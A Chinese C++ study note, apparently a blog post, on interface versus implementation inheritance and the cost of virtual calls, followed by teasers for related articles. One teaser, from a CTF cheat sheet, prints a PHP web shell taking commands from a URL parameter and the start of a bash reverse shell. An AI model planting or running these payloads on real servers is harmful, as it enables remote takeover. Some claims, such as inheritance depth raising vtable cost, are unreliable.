C/C++基础知识复习(47)
1) 接口继承与实现继承的区别
接口继承
接口继承意味着定义一个类,它只声明一组方法(通常是纯虚函数),但是不提供任何实现。继承这个接口的子类必须实现这些方法。接口继承的主要目的是规范化行为。
C++ 例子:
在 C++ 中,通过定义一个纯虚类来模拟接口。比如,你定义了一个 Animal 类,这个类没有实现具体方法,只声明了方法的签名,像这样:
class Animal { public: virtual void speak() = 0; // 纯虚函数,子类必须实现 };
任何继承 Animal 类的子类(如 Dog)都必须实现 speak 方法。接口继承的关键是:父类没有具体实现,子类必须提供实现。
实现继承
实现继承则是指一个类继承了另一个类,并且可以重用父类中已经实现的功能,或者在子类中重写父类的方法。
C++ 例子:
继承一个类 Animal,并实现一个具体的 speak 方法:
class Animal { public: void speak() { cout << "Animal speaks" << endl; // 这是具体的实现 } };
在这种情况下,Dog 继承了 Animal,并且可以使用父类已经实现的 speak 方法,或者重写它。
2) 如何平衡多态性与性能
在面向对象编程中,多态性是通过虚函数来实现的。当你通过基类指针或引用调用子类的方法时,程序会在运行时决定调用哪个版本的方法(这叫动态绑定)。
多态性带来了灵活性,但也有性能开销,因为每次调用虚函数时都需要查找虚函数表(vtable)。
如何优化多态性带来的性能开销?
-
避免不必要的虚函数调用
如果你不需要多态性,可以将方法声明为非虚函数。这样,方法的调用就不需要通过虚函数表,直接调用特定的实现。优化示例: 假设我们有
Animal和Dog类。如果我们知道Dog类不需要重写父类的speak方法,就可以直接将speak声明为非虚函数。class Animal { public: void speak() { cout << "Animal speaks" << endl; } };这样,
speak()就会在编译时绑定,不再有虚函数表查找,性能会更好。 -
减少继承层级
深层次的继承结构会增加虚函数查找的复杂度。尽量保持简单的继承关系,以减少虚函数表的深度和查找成本。
例子:多态性带来的性能开销
假设我们有一个多态的设计,通过基类指针调用派生类的方法:
class Animal {
public: virtual void speak() {
// 虚函数 cout << "Animal speaks" << endl;
} };
class Dog : public Animal {
public: void speak() override {
cout << "Bark" << endl;
} };
这里每次调用 animal->speak() 时,都会通过虚函数表查找 Dog 类的 speak 方法,这带来了性能开销。如果你不需要多态性,可以避免虚函数,直接调用特定的方法。
总结
- 接口继承:用来定义一组必须实现的方法,父类只声明方法签名,不提供具体实现,子类必须实现这些方法。
- 实现继承:用来继承父类已实现的方法,子类可以直接使用父类的方法,或者重写它们。
- 多态与性能的平衡:避免不必要的虚函数调用(如果不需要多态),减少继承层级,这样可以提高程序的执行效率。
相关文章:
C/C++基础知识复习(47)
1) 接口继承与实现继承的区别 接口继承 接口继承意味着定义一个类,它只声明一组方法(通常是纯虚函数),但是不提供任何实现。继承这个接口的子类必须实现这些方法。接口继承的主要目的是规范化行为。 C 例子: 在 C 中…...
OkHttp、Retrofit、RxJava:一文讲清楚
一、okHttp的同步和异步请求 Call 是 OkHttp 的核心接口,代表一个已准备好执行的 HTTP 请求。它支持 同步 和 异步 两种模式: enqueue——>okHttp异步 OkHttpClient client new OkHttpClient();Request request new Request.Builder().url("…...
netty详细使用
Netty是一个基于Java的高性能网络应用框架,主要用于快速开发高性能的网络通信应用程序。以下是Netty的详细使用步骤: 添加Netty依赖:在项目的pom.xml中添加Netty的依赖项,例如: <dependency><groupId>io…...
计算机视觉(opencv-python)入门之图像的读取,显示,与保存
在计算机视觉领域,Python的cv2库是一个不可或缺的工具,它提供了丰富的图像处理功能。作为OpenCV的Python接口,cv2使得图像处理的实现变得简单而高效。 示例图片 目录 opencv获取方式 图像基本知识 颜色空间 RGB HSV CV2常用图像处理方…...
ActiveMQ之VirtualTopic
一句话总结: VirtualTopic是为了解决持久化模式下多消费端同时接收同一条消息的问题。 现实中多出现这样一个场景: 生产端产生了一笔订单,作为消息MessageOrder发了出去。 这笔订单既要入订单系统归档,又要入结算系统收款&#x…...
第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组 思路和答案不保证正确 1.填空 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问, 2024 的最大的质因数是多少? 因为是填空题,所以直接枚举2023~2 &am…...
UE5 Computer Shader学习笔记
首先这里是绑定.usf文件的路径,并声明是用声明着色器 上面就是对应的usf文件路径,在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:…...
2.1部署logstash:9600
实验环境:关闭防火墙,完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...
SQL笔记#集合运算
目录 一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结(以列为单位对表进行联结) 1、什么是联结(JOIN) 2、内联结——INSER…...
多模态人物视频驱动技术回顾与业务应用
一种新的商品表现形态,内容几乎存在于手淘用户动线全流程,例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力,能够从供给端缓解内容生产成本高的问题,通过源源不断的低成本供给倒推…...
基于Matlab实现汽车远近光灯识别的详细步骤及代码示例
以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例,主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理:包括读取图像、灰度化、去噪等操作,以提高后续处理的准确性。边缘检测:找出图像中的边缘信息…...
多功能免费网络测速及问题诊断工具
软件介绍 在日常网络使用中,网络问题常常难以即时察觉,很多时候,只有当视频卡顿、网页加载半天没反应,乃至无法连接部分服务时,我们才惊觉网络出状况了。 这里有一款免费工具,专为家庭、办公以及跨国网…...
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
